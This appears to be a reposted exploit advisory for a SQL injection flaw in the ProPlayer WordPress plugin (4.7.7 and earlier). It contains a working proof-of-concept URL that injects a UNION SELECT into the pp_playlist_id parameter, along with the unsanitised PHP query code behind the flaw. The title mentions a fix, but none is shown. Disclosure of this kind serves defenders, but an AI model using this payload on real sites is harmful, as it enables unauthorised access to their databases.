ProPlayer plugin <= 4.7.7 SQL注射缺陷及修复
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: ../../proplayer.4.7.7.zip
# Version: 4.7.7 (tested)
---
PoC
---
http://www.2cto.com /wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20
---------------
Vulnerable code
---------------
function getPlaylist($id = '') {
$query = mysql_query("SELECT * FROM ".$this->tablePrefix."proplayer_playlist WHERE (POST_ID='$id')");
$playlistRow = mysql_fetch_row($query);
return $this->withBackwardCompatibility($playlistRow[2]);
}
...
if (!empty($_GET["pp_playlist_id"])) {
header("Content-type: application/xml");
$xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]);
- 文章
- 推荐
- 热门新闻